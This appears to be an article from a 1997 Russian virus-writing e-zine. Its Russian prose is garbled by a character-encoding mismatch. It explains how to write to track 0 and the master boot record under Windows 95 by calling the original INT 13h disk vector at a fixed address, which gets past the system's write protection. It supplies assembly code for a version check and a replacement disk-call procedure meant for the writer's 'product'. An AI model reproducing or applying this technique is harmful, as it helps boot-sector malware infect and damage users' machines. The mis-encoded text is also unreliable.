ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³INFECTED MOSCOW ³#1³ JAN'97 ³(C)STEALTH Group MoscoW & Co ³ one@redline.ru~ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ ‡ ¯¨áì ¢ 0 ¤®à®¦ªã ¯®¤ Windows'95               ³(C) LovinGOD            ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

      Œ «® â®£®, çâ® áãé¥áâ¢ãîâ à §­ë¥ à¥§¨¤¥­â­ë¥ ¬®­¨â®àë, Virus Warning'¨
¨§ CMOS, â ª ¥é¥ ¨ Windows'95 à¥è¨«  ¯®ª ç âì á¢®¨ ¯à ¢  ­  ¥¤¨­®«¨ç­®¥ ®¡« -
¤ ­¨¥ ­ã«¥¢®© ¤®à®¦ª®©.

	Windows'95 ­¥ ¤ ¥â § ¯¨áë¢ âì ¢ 0 ¤®à®¦ªã ç¥à¥§ INT 13h.
®«¥¥ â®£®, INT 13h ­ å®¤¨âáï ¢ § é¨é¥­­®© ¯ ¬ïâ¨ ¨ ¯®¯ëâª  ¯à®âà áá¨à®¢ âì
¥£® (Turbo Debugger) ®ª ­ç¨¢ ¥âáï ¡¥§ãá¯¥è­® (¢ë¡à áë¢ ­¨¥¬ ¯®  ¤à¥áã 0:0).
à¨ § ¯¨á¨ ¢ 0 ¤®à®¦ªã ¯® INT 13h ª ª ¡ë ­¨ç¥£® ­¥ ¯à®¨áå®¤¨â, ¯à¥àë¢ ­¨¥
¢®§¢à é ¥â ¯à¥¦­¨¥ §­ ç¥­¨ï ¨ § ¯¨áì ­¥ ¯à®¨§¢®¤¨âáï. à®¡«¥¬ á çâ¥­¨¥¬ ­¥â.

„«ï ®¡å®¤  § ¯à¥â  ¨á¯®«ì§ã¥âáï ¢¥ªâ®à INT 13h, ¯®«ãç¥­­ë© ¯à¨ § £àã§ª¥ 
ª®¬¯ìîâ¥à  ¢ à¥¦¨¬¥ MS-DOS. Œ®¦­® ãâ¢¥à¦¤ âì, çâ®  ¤à¥á, ¯®«ãç¥­­ë© debug'®¬
¢ £®«®¬ DOS'e, ¡ã¤¥â ®¤¨­ ª®¢ë¬ ¤«ï ¢á¥å ¢¥àá¨© DOS 7.0 ¯®¤ Windows'95.

                      €¤à¥á ¢¥ªâ®à  INT 13h 
                             0070:03EE


Ž¡à é ïáì ¯® íâ®¬ã  ¤à¥áã, ¢ë ¬®¦¥â¥ á¯®ª®©­® ¯®á ¤¨âì çâ®-­¨¡ã¤ì ¢ MBR,
à §­¥áâ¨ â®â ¦¥ MBR ¨«¨ ¨á¯®«ì§®¢ âì 0 ¤®à®¦ªã ¤«ï á®¡áâ¢¥­­ëå ­ã¦¤.

à¥¤ã¯à¥¦¤ î, çâ® ¤ ­­ë© ¬¥â®¤ ­¥ â¥áâ¨à®¢ «áï á WinNT ¨ OS/2.


„«ï á®¢¬¥áâ¨¬®áâ¨ ¢ è¥£® ¨§¤¥«¨ï á Windows'95 ¤¥« ¥¬ â ª:

 XOR BH,BH			; ®¡ìïá­¥­¨ï íâ®© áâà®ª¨ á¬. ¤ «¥¥
 MOV AX,160A			; ¯à®¢¥àª  ¢¥àá¨¨ Windows
 INT 2F
 MOV 1 PTR DS:[WinVersion],BH   ; ¥á«¨ Windows ­¥ § £àã¦¥­, â® ¢ BH ¡ã¤¥â 00
				; (á¬. ¯¥à¢ãî áâà®ªã)
 OR  AX,AX			; ¥á«¨ Windows ­¥ § £àã¦¥­, â® ¢ AX ®áâ ­¥âáï
				; 160Ah
 JNZ Windows_Inactive

‚¬¥áâ® ¨­áâàãªæ¨¨ "INT 13h" ¢ë§ë¢ ©â¥ ¯à®æ¥¤ãàã "CALL INT_13"

à®æ¥¤ãà  ¢ë§®¢  INT 13h:

INT_13 PROC
  PUSH AX
				; ¤«ï íª®­®¬¨¨ ¬¥áâ  ¯¥à¥¬¥­­ ï WinVersion
				; ¢áâà®¥­  ¢ ª®¬ ­¤ã "MOV AL,.."
  WinVersion EQU $+1
  MOV AL,00

  CMP AL,4
  POP AX
  JNE JUST_INT13
				; ¢ë§®¢ int 13h ¢ á«ãç ¥  ªâ¨¢­®© Windows'95
  PUSHF
  DB 09A
  DD 007003EEh
  RETN
				; ¯à®áâ® int 13h
  JUST_INT13: INT 13
  RETN
  INT_13 ENDP